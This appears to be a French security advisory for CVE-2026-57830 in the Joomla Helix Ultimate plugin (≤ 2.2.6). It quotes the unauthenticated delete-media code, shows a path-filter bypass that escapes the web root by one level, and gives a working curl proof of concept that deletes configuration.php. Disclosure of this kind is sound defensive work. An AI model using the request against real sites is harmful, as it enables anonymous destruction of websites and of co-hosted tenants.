
Suppression arbitraire de fichiers/dossiers non authentifiée dans Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Il s’agit d’un DoS confirmé + accès au système de fichiers inter-tenant, PAS d’une RCE. Une théorie d’escalade RCE (supprimer configuration.php pour réexposer l’installateur Joomla) a été testée en direct et réfutée — voir « Escalade RCE — testée et réfutée » ci-dessous. Ne présentez pas ceci comme une RCE dans un rapport sans d’abord dériver une véritable chaîne.
Mise à jour de la sévérité (2026-07-06, deuxième passage) : le paramètre path N’EST PAS confiné en toute sécurité à la racine web Joomla comme évalué initialement — le filtre d’entrée PATH de Joomla ne bloque pas un seul composant de traversée /../, donc ce bug atteint (lecture : liste complète de dossiers ; écriture : suppression de fichier ou vidage récursif de contenu de dossier) tout ce que l’utilisateur du serveur web peut lire sur le système de fichiers, pas seulement les fichiers dans l’installation Joomla. Sur toute configuration d’hébergement partagé où plusieurs sites/tenants résident en tant que répertoires frères sous le même utilisateur OS (très courant : cPanel « addon domains », abonnements Plesk partageant un utilisateur système, hébergement bon marché), un unique site propulsé par Helix-Ultimate permet à un visiteur anonyme de détruire tous les autres sites du même compte. Voir « La traversée de chemin échappe entièrement à JPATH_ROOT » ci-dessous pour la preuve en direct.
Composant : JoomShaper Helix Ultimate Framework (plg_system_helixultimate), fourni avec pratiquement tous les templates Joomla JoomShaper (basés sur Helix Ultimate).
Version testée : 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD au 2026-07, dernier push 2026-06-30)
Auteur : Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php expose deleteMedia(), getFolders() et createFolder() via le hook de dispatch com_ajax de Joomla dans helixultimate.php::onAfterRoute(). Ces trois méthodes appellent uniquement Session::checkToken() (une simple vérification CSRF, satisfaite par le propre jeton de session d’un visiteur anonyme — récupérable depuis le HTML de la page d’accueil du site) — aucune vérification authorise() / de connexion. Ceci est incohérent avec la méthode sœur uploadMedia() dans la même classe, qui exige correctement core.edit sur com_templates.
Comme il s’agit d’un plugin système, onAfterRoute() se déclenche sur chaque requête, indépendamment du template actif — le chemin de code vulnérable est accessible tant que le plugin est installé et activé (ce qui est le cas par défaut sur tout site utilisant un template JoomShaper basé sur Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (~lignes 464-489) :
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // a vérification core.create/com_media
case 'remove-blog-image': Blog::remove_image(); break; // a vérification core.delete/com_media
case 'view-media': Media::getFolders(); break; // PAS de vérification authorise()
case 'delete-media': Media::deleteMedia(); break; // PAS de vérification authorise()
case 'upload-media': Media::uploadMedia(); break; // a vérification core.edit/com_templates
}
}
}
plugins/system/helixultimate/src/Platform/Media.php :
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← seulement CSRF, pas de authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // récursif
}
$path passe par le filtre d’entrée PATH de Joomla (InputFilter::cleanPath()). Deux éléments indépendants rendent ceci dangereux :
path est résolu directement sous JPATH_ROOT, donc tout chemin absolu depuis la racine (/configuration.php, /administrator/..., /media/...) est déjà accessible.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) autorise exactement une séquence de points/tirets/caractères alphanumériques placée juste après le bloc initial [A-Za-z0-9_/-]+ — et un / seul satisfait ce bloc initial, donc une chaîne comme /../sibling_dir correspond proprement : / (bloc 1), .. (la séquence pointillée autorisée), /sibling_dir (un segment final normal). Le filtre a été écrit pour rejeter un segment qui commence un nouveau composant /… par un point, mais n’a jamais anticipé un seul .. directement après le tout premier caractère de la chaîne. Enchaîner ../../.. ne survit pas (chaque segment /… suivant après la première séquence pointillée doit commencer par un caractère non point) — donc l’évasion est limitée à exactement un niveau de dossier au-dessus de JPATH_ROOT, mais tout ce qui se trouve en dessous de ce niveau (profondeur arbitraire) est alors accessible normalement, puisque les segments suivants sont simplement des composants de chemin sans point.configuration.php → panne totale et instantanée du site (erreur fatale « Aucune configuration »), une requête HTTP, zéro authentification.type=folder) → p. ex. /administrator, /components, /media → bien plus destructeur, détruit effectivement l’installation.view-media (Media::getFolders()) : liste tous les fichiers image, tous les noms de sous-dossiers et les chemins serveur absolus sous tout chemin relatif à la racine, sans authentification (utilisé ci-dessous comme signal de détection sûr).Testé sur une instance Docker jetable (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, installation fraîche, session navigateur totalement anonyme — pas de connexion, pas de cookie autre que celui que Joomla donne à tout visiteur) :
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-de-la-page-daccueil>=1"
{"status":true, ...}
$ curl http://TARGET/
"Aucun fichier de configuration trouvé et aucun répertoire trouvé pour l'installation."